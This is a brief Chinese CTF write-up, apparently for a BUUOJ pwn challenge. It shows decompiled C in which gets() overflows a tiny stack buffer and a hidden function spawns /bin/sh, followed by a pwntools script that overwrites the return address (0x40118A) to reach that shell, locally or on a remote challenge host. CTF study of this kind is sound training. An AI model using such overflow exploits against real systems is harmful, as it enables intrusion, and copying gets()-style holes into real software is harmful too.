64位程序,没有开保护
    主函数,get函数直接溢出

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char s; // [sp+1h] [bp-Fh]@1
    4. puts("please input");
    5. gets(&s, argv);
    6. puts(&s);
    7. puts("ok,bye!!!");
    8. return 0;
    9. }

    fun函数(溢出位置)

    1. int fun()
    2. {
    3. return system("/bin/sh");
    4. }

    image.png
    溢出到其他位置就行了

    1. from pwn import *
    2. context(os="linux", arch="amd64", log_level="debug")
    3. content = 1
    4. def main():
    5. if content == 1:
    6. peiqi = process("pwn1")
    7. else:
    8. peiqi = remote("node3.buuoj.cn",28330)
    9. payload = b'a' * (0x0f + 8)
    10. payload = payload + p64(0x40118A)
    11. peiqi.sendline(payload)
    12. peiqi.interactive()
    13. main()

    image.png